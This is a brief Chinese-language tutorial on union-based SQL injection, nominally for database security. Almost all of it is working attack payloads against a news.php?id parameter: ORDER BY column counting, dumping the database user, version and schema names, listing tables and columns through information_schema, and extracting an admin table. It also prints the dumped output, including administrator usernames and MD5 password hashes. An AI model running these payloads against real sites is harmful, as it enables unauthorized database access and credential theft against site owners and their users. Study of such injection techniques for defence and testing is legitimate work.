整一下常用sql注入的语句,了解注入语句的形式,才能更好的保证数据库的安全。
(1)猜解当前网页的字段数news.php?id=228 order by 6
news.php?id=228 order by 7
Order by 6显示正常 ;order 7 显示不正常。说明字段数为6
(2)爆出数据库的基本信息。news.php?id=228 and 1=2 union select 1,2,3,concat(user(),0x20,database(),0x20,version()),5,6
用户:people@localhost 数据库名:people 版本:5.0.20a-log
(3)爆出所有的数据库news.php?id=228 and 1=2 union select 1,2,3,group_concat(distinct+table_schema),5,6 from+information_schema.columns
爆出数据库名:information_schema,people,test
(4)根据数据库表进行爆出所有数据库的表名news.php?id=228 and 1=2 union
select 1,2,3,group_concat(distinct+table_name),5,6 from+information_schema.tables where table_schema=database()
表名:admin1,answer,check,class,news,system,zhaoping
(5)爆出字段名
把admin1进行hex(16进制)的结果为:0x61646D696E31news.php?id=228 and 1=2 union
select 1,2,3,group_concat(distinct+column_name),5,6 from+information_schema.columns where table_name=0x61646D696E31
字段为:id,admin,password,rank
(6)爆出 admin和password里的值news.php?id=228 and 1=2 union select 1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6 from admin1
值:1+admin+e10adc3949ba59abbe56e057f20f883e+0,
2+87046609+e10adc3949ba59abbe56e057f20f883e+1,
3+87046607+14a026642666897df2fcdcfe821af855+2,